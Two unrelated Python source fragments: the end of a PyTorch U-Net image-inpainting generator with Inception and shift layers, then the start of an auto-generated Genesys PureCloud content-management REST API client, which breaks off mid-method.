nn.ConvTranspose2d(inner_nc * 3, outer_nc, kernel_size=4, stride=2, padding=1) down = [downrelu, downconv, downnorm] # shift should be placed after uprelu # NB: innerCos are placed before shift. So need to add the latent gredient to # to former part. up = [uprelu, innerCosBefore, shift, innerCosAfter, upconv, upnorm] if use_dropout: model = down + [submodule] + up + [nn.Dropout(0.5)] else: model = down + [submodule] + up self.model = nn.Sequential(*model) def forward(self, x): if self.outermost: # if it is the outermost, directly pass the input in. return self.model(x) else: x_latter = self.model(x) _, _, h, w = x.size() if h != x_latter.size(2) or w != x_latter.size(3): x_latter = F.interpolate(x_latter, (h, w), mode='bilinear') return torch.cat([x_latter, x], 1) # cat in the C channel class InceptionUnetGeneratorShiftTriple(nn.Module): def __init__(self, input_nc, output_nc, num_downs, opt, innerCos_list, shift_list, mask_global, ngf=64, norm_layer=nn.BatchNorm2d, use_dropout=False): super(InceptionUnetGeneratorShiftTriple, self).__init__() # construct unet structure unet_block = InceptionUnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=None, norm_layer=norm_layer, innermost=True) for i in range(num_downs - 5): # The innner layers number is 3 (sptial size:512*512), if unet_256. unet_block = InceptionUnetSkipConnectionBlock(ngf * 8, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer, use_dropout=use_dropout) unet_block = InceptionUnetSkipConnectionBlock(ngf * 4, ngf * 8, input_nc=None, submodule=unet_block, norm_layer=norm_layer) unet_shift_block = InceptionShiftUnetSkipConnectionBlock(ngf * 2, ngf * 4, opt=opt, innerCos_list=innerCos_list, shift_list=shift_list, mask_global=mask_global, input_nc=None, \ submodule=unet_block, norm_layer=norm_layer, shift_layer=True) # passing in unet_shift_block # innerCos_list=None, shift_list=None, mask_global=None, input_nc=None, opt=None,\submodule=None, shift_layer=False, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d, use_dropout=False unet_block = InceptionUnetSkipConnectionBlock(ngf, ngf * 2, input_nc=None, submodule=unet_shift_block, norm_layer=norm_layer) unet_block = InceptionUnetSkipConnectionBlock(output_nc, ngf, input_nc=input_nc, submodule=unet_block, outermost=True, norm_layer=norm_layer) self.model = unet_block def forward(self, input): return self.model(input) # construct network from the inside to the outside. # Defines the submodule with skip connection. # X -------------------identity---------------------- X # |-- downsampling -- |submodule| -- upsampling --| class InceptionUnetSkipConnectionBlock(nn.Module): def __init__(self, outer_nc, inner_nc, input_nc, submodule=None, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d, use_dropout=False): super(InceptionUnetSkipConnectionBlock, self).__init__() self.outermost = outermost if input_nc is None: input_nc = outer_nc downconv = InceptionDown(input_nc, inner_nc) # nn.Conv2d(input_nc, inner_nc, kernel_size=4,stride=2, padding=1) downrelu = nn.LeakyReLU(0.2, True) downnorm = norm_layer(inner_nc, affine=True) uprelu = nn.ReLU(True) upnorm = norm_layer(outer_nc, affine=True) # Different position only has differences in `upconv` # for the outermost, the special is `tanh` if outermost: upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc,kernel_size=4, stride=2,padding=1) downconv = nn.Conv2d(input_nc, inner_nc, kernel_size=4, stride=2, padding=1) down = [downconv] up = [uprelu, upconv, nn.Tanh()] model = down + [submodule] + up # for the innermost, the special is `inner_nc` instead of `inner_nc*2` elif innermost: upconv = InceptionUp(inner_nc, outer_nc) #nn.ConvTranspose2d(inner_nc, outer_nc,kernel_size=4, stride=2,padding=1) down = [downrelu, downconv] # for the innermost, no submodule, and delete the bn up = [uprelu, upconv, upnorm] model = down + up # else, the normal else: upconv = InceptionUp(inner_nc * 2, outer_nc) #nn.ConvTranspose2d(inner_nc * 2, outer_nc,kernel_size=4, stride=2,padding=1) down = [downrelu, downconv, downnorm] up = [uprelu, upconv, upnorm] if use_dropout: model = down + [submodule] + up + [nn.Dropout(0.5)] else: model = down + [submodule] + up self.model = nn.Sequential(*model) def forward(self, x): if self.outermost: # if it is the outermost, directly pass the input in. return self.model(x) else: x_latter = self.model(x) _, _, h, w = x.size() if h != x_latter.size(2) or w != x_latter.size(3): x_latter = F.interpolate(x_latter, (h, w), mode='bilinear') return torch.cat([x_latter, x], 1) # cat in the C channel # construct network from the inside to the outside. # Defines the submodule with skip connection. # X -------------------identity---------------------- X # |-- downsampling -- |submodule| -- upsampling --| class InceptionShiftUnetSkipConnectionBlock(nn.Module): def __init__(self, outer_nc, inner_nc, innerCos_list=None, shift_list=None, mask_global=None, input_nc=None, opt=None,\ submodule=None, shift_layer=False, outermost=False, innermost=False, norm_layer=nn.BatchNorm2d, use_dropout=False): super(InceptionShiftUnetSkipConnectionBlock, self).__init__() self.outermost = outermost if input_nc is None: input_nc = outer_nc if shift_layer: # As the downconv layer is outer_nc in and inner_nc out. # So the shift define like this: shift = AcceleratedInnerShiftTriple(opt.fixed_mask, opt.shift_sz, opt.stride, opt.mask_thred, opt.triple_weight) shift.set_mask(mask_global, 3) shift_list.append(shift) # Add latent constraint # Then add the constraint to the constrain layer list! innerCosBefore = InnerCos(strength=opt.strength, skip=opt.skip) innerCosBefore.set_mask(mask_global, 3) # Here we need to set mask for innerCos layer too. innerCos_list.append(innerCosBefore) innerCosAfter = InnerCos(strength=opt.strength, skip=opt.skip) innerCosAfter.set_mask(mask_global, 3) # Here we need to set mask for innerCos layer too. innerCos_list.append(innerCosAfter) downconv = InceptionDown(input_nc, inner_nc) # nn.Conv2d(input_nc, inner_nc, kernel_size=4,stride=2, padding=1) downrelu = nn.LeakyReLU(0.2, True) downnorm = norm_layer(inner_nc, affine=True) uprelu = nn.ReLU(True) upnorm = norm_layer(outer_nc, affine=True) # Different position only has differences in `upconv` # for the outermost, the special is `tanh` if outermost: upconv = nn.ConvTranspose2d(inner_nc * 2, outer_nc,kernel_size=4, stride=2,padding=1) downconv = nn.Conv2d(input_nc, inner_nc, kernel_size=4, stride=2, padding=1) down = [downconv] up = [uprelu, upconv, nn.Tanh()] model = down + [submodule] + up # for the innermost, the special is `inner_nc` instead of `inner_nc*2` elif innermost: upconv = InceptionUp(inner_nc, outer_nc) #nn.ConvTranspose2d(inner_nc, outer_nc,kernel_size=4, stride=2,padding=1) down = [downrelu, downconv] # for the innermost, no submodule, and delete the bn up = [uprelu, upconv, upnorm] model = down + up # else, the normal else: upconv = InceptionUp(inner_nc * 3, outer_nc) #nn.ConvTranspose2d(inner_nc * 2, outer_nc,kernel_size=4, stride=2,padding=1) down = [downrelu, downconv, downnorm] up = [uprelu, innerCosBefore, shift, innerCosAfter, upconv, upnorm] if use_dropout: model = down + [submodule] + up + [nn.Dropout(0.5)] else: model = down + [submodule] + up self.model = nn.Sequential(*model) def forward(self, x): if self.outermost: # if it is the outermost, directly pass the input in. return self.model(x) else: x_latter = self.model(x) _, _, h, w = x.size() if h != x_latter.size(2) or w != x_latter.size(3): x_latter = F.interpolate(x_latter, (h, w), mode='bilinear') return torch.cat([x_latter, x], 1) # cat in the C channel

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Python

build/PureCloudPlatformClientV2/apis/content_management_api.py

cjohnson-ctl/platform-client-sdk-python

38ce53bb8012b66e8a43cc8bd6ff00cf6cc99100

[ "MIT" ]

10

2019-02-22T00:27:08.000Z

2021-09-12T23:23:44.000Z

libs/PureCloudPlatformClientV2/apis/content_management_api.py

rocketbot-cl/genesysCloud

dd9d9b5ebb90a82bab98c0d88b9585c22c91f333

[ "MIT" ]

5

2018-06-07T08:32:00.000Z

2021-07-28T17:37:26.000Z

libs/PureCloudPlatformClientV2/apis/content_management_api.py

rocketbot-cl/genesysCloud

dd9d9b5ebb90a82bab98c0d88b9585c22c91f333

[ "MIT" ]

6

2020-04-09T17:43:07.000Z

2022-02-17T08:48:05.000Z

# coding: utf-8 """ ContentManagementApi.py Copyright 2016 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from __future__ import absolute_import import sys import os import re # python 2 and python 3 compatibility library from six import iteritems from ..configuration import Configuration from ..api_client import ApiClient class ContentManagementApi(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): config = Configuration() if api_client: self.api_client = api_client else: if not config.api_client: config.api_client = ApiClient() self.api_client = config.api_client def delete_contentmanagement_document(self, document_id, **kwargs): """ Delete a document. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.delete_contentmanagement_document(document_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str document_id: Document ID (required) :param bool override: Override any lock on the document :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['document_id', 'override'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_contentmanagement_document" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'document_id' is set if ('document_id' not in params) or (params['document_id'] is None): raise ValueError("Missing the required parameter `document_id` when calling `delete_contentmanagement_document`") resource_path = '/api/v2/contentmanagement/documents/{documentId}'.replace('{format}', 'json') path_params = {} if 'document_id' in params: path_params['documentId'] = params['document_id'] query_params = {} if 'override' in params: query_params['override'] = params['override'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback')) return response def delete_contentmanagement_share(self, share_id, **kwargs): """ Deletes an existing share. This revokes sharing rights specified in the share record This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.delete_contentmanagement_share(share_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str share_id: Share ID (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['share_id'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_contentmanagement_share" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'share_id' is set if ('share_id' not in params) or (params['share_id'] is None): raise ValueError("Missing the required parameter `share_id` when calling `delete_contentmanagement_share`") resource_path = '/api/v2/contentmanagement/shares/{shareId}'.replace('{format}', 'json') path_params = {} if 'share_id' in params: path_params['shareId'] = params['share_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback')) return response def delete_contentmanagement_status_status_id(self, status_id, **kwargs): """ Cancel the command for this status This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.delete_contentmanagement_status_status_id(status_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str status_id: Status ID (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['status_id'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_contentmanagement_status_status_id" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'status_id' is set if ('status_id' not in params) or (params['status_id'] is None): raise ValueError("Missing the required parameter `status_id` when calling `delete_contentmanagement_status_status_id`") resource_path = '/api/v2/contentmanagement/status/{statusId}'.replace('{format}', 'json') path_params = {} if 'status_id' in params: path_params['statusId'] = params['status_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback')) return response def delete_contentmanagement_workspace(self, workspace_id, **kwargs): """ Delete a workspace This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.delete_contentmanagement_workspace(workspace_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param str move_children_to_workspace_id: New location for objects in deleted workspace. :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'move_children_to_workspace_id'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_contentmanagement_workspace" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `delete_contentmanagement_workspace`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] query_params = {} if 'move_children_to_workspace_id' in params: query_params['moveChildrenToWorkspaceId'] = params['move_children_to_workspace_id'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback')) return response def delete_contentmanagement_workspace_member(self, workspace_id, member_id, **kwargs): """ Delete a member from a workspace This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.delete_contentmanagement_workspace_member(workspace_id, member_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param str member_id: Member ID (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'member_id'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_contentmanagement_workspace_member" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `delete_contentmanagement_workspace_member`") # verify the required parameter 'member_id' is set if ('member_id' not in params) or (params['member_id'] is None): raise ValueError("Missing the required parameter `member_id` when calling `delete_contentmanagement_workspace_member`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}/members/{memberId}'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] if 'member_id' in params: path_params['memberId'] = params['member_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback')) return response def delete_contentmanagement_workspace_tagvalue(self, workspace_id, tag_id, **kwargs): """ Delete workspace tag Delete a tag from a workspace. Will remove this tag from all documents. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.delete_contentmanagement_workspace_tagvalue(workspace_id, tag_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param str tag_id: Tag ID (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'tag_id'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_contentmanagement_workspace_tagvalue" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `delete_contentmanagement_workspace_tagvalue`") # verify the required parameter 'tag_id' is set if ('tag_id' not in params) or (params['tag_id'] is None): raise ValueError("Missing the required parameter `tag_id` when calling `delete_contentmanagement_workspace_tagvalue`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}/tagvalues/{tagId}'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] if 'tag_id' in params: path_params['tagId'] = params['tag_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_document(self, document_id, **kwargs): """ Get a document. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_document(document_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str document_id: Document ID (required) :param list[str] expand: Which fields, if any, to expand. :return: Document If the method is called asynchronously, returns the request thread. """ all_params = ['document_id', 'expand'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_document" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'document_id' is set if ('document_id' not in params) or (params['document_id'] is None): raise ValueError("Missing the required parameter `document_id` when calling `get_contentmanagement_document`") resource_path = '/api/v2/contentmanagement/documents/{documentId}'.replace('{format}', 'json') path_params = {} if 'document_id' in params: path_params['documentId'] = params['document_id'] query_params = {} if 'expand' in params: query_params['expand'] = params['expand'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Document', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_document_audits(self, document_id, **kwargs): """ Get a list of audits for a document. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_document_audits(document_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str document_id: Document ID (required) :param int page_size: Page size :param int page_number: Page number :param str transaction_filter: Transaction filter :param str level: level :param str sort_by: Sort by :param str sort_order: Sort order :return: DocumentAuditEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['document_id', 'page_size', 'page_number', 'transaction_filter', 'level', 'sort_by', 'sort_order'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_document_audits" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'document_id' is set if ('document_id' not in params) or (params['document_id'] is None): raise ValueError("Missing the required parameter `document_id` when calling `get_contentmanagement_document_audits`") resource_path = '/api/v2/contentmanagement/documents/{documentId}/audits'.replace('{format}', 'json') path_params = {} if 'document_id' in params: path_params['documentId'] = params['document_id'] query_params = {} if 'page_size' in params: query_params['pageSize'] = params['page_size'] if 'page_number' in params: query_params['pageNumber'] = params['page_number'] if 'transaction_filter' in params: query_params['transactionFilter'] = params['transaction_filter'] if 'level' in params: query_params['level'] = params['level'] if 'sort_by' in params: query_params['sortBy'] = params['sort_by'] if 'sort_order' in params: query_params['sortOrder'] = params['sort_order'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='DocumentAuditEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_document_content(self, document_id, **kwargs): """ Download a document. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_document_content(document_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str document_id: Document ID (required) :param str disposition: Request how the content will be downloaded: a file attachment or inline. Default is attachment. :param str content_type: The requested format for the specified document. If supported, the document will be returned in that format. Example contentType=audio/wav :return: DownloadResponse If the method is called asynchronously, returns the request thread. """ all_params = ['document_id', 'disposition', 'content_type'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_document_content" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'document_id' is set if ('document_id' not in params) or (params['document_id'] is None): raise ValueError("Missing the required parameter `document_id` when calling `get_contentmanagement_document_content`") resource_path = '/api/v2/contentmanagement/documents/{documentId}/content'.replace('{format}', 'json') path_params = {} if 'document_id' in params: path_params['documentId'] = params['document_id'] query_params = {} if 'disposition' in params: query_params['disposition'] = params['disposition'] if 'content_type' in params: query_params['contentType'] = params['content_type'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='DownloadResponse', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_documents(self, workspace_id, **kwargs): """ Get a list of documents. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_documents(workspace_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param str name: Name :param list[str] expand: Which fields, if any, to expand. :param int page_size: Page size :param int page_number: Page number :param str sort_by: name or dateCreated :param str sort_order: ascending or descending :return: DocumentEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'name', 'expand', 'page_size', 'page_number', 'sort_by', 'sort_order'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_documents" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `get_contentmanagement_documents`") resource_path = '/api/v2/contentmanagement/documents'.replace('{format}', 'json') path_params = {} query_params = {} if 'workspace_id' in params: query_params['workspaceId'] = params['workspace_id'] if 'name' in params: query_params['name'] = params['name'] if 'expand' in params: query_params['expand'] = params['expand'] if 'page_size' in params: query_params['pageSize'] = params['page_size'] if 'page_number' in params: query_params['pageNumber'] = params['page_number'] if 'sort_by' in params: query_params['sortBy'] = params['sort_by'] if 'sort_order' in params: query_params['sortOrder'] = params['sort_order'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='DocumentEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_query(self, query_phrase, **kwargs): """ Query content This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_query(query_phrase, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str query_phrase: Phrase tokens are ANDed together over all searchable fields (required) :param int page_size: Page size :param int page_number: Page number :param str sort_by: name or dateCreated :param str sort_order: ascending or descending :param list[str] expand: Which fields, if any, to expand. :return: QueryResults If the method is called asynchronously, returns the request thread. """ all_params = ['query_phrase', 'page_size', 'page_number', 'sort_by', 'sort_order', 'expand'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_query" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'query_phrase' is set if ('query_phrase' not in params) or (params['query_phrase'] is None): raise ValueError("Missing the required parameter `query_phrase` when calling `get_contentmanagement_query`") resource_path = '/api/v2/contentmanagement/query'.replace('{format}', 'json') path_params = {} query_params = {} if 'page_size' in params: query_params['pageSize'] = params['page_size'] if 'page_number' in params: query_params['pageNumber'] = params['page_number'] if 'sort_by' in params: query_params['sortBy'] = params['sort_by'] if 'sort_order' in params: query_params['sortOrder'] = params['sort_order'] if 'query_phrase' in params: query_params['queryPhrase'] = params['query_phrase'] if 'expand' in params: query_params['expand'] = params['expand'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='QueryResults', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_securityprofile(self, security_profile_id, **kwargs): """ Get a Security Profile This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_securityprofile(security_profile_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str security_profile_id: Security Profile Id (required) :return: SecurityProfile If the method is called asynchronously, returns the request thread. """ all_params = ['security_profile_id'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_securityprofile" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'security_profile_id' is set if ('security_profile_id' not in params) or (params['security_profile_id'] is None): raise ValueError("Missing the required parameter `security_profile_id` when calling `get_contentmanagement_securityprofile`") resource_path = '/api/v2/contentmanagement/securityprofiles/{securityProfileId}'.replace('{format}', 'json') path_params = {} if 'security_profile_id' in params: path_params['securityProfileId'] = params['security_profile_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SecurityProfile', auth_settings=auth_settings, callback=params.get('callback')) return response def get_contentmanagement_securityprofiles(self, **kwargs): """ Get a List of Security Profiles This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_contentmanagement_securityprofiles(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :return: SecurityProfileEntityListing If the method is called asynchronously, returns the request thread. """ all_params = [] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_contentmanagement_securityprofiles" % key ) params[key] = val del params['kwargs'] resource_path = '/api/v2/contentmanagement/securityprofiles'.replace('{format}', 'json') path_params = 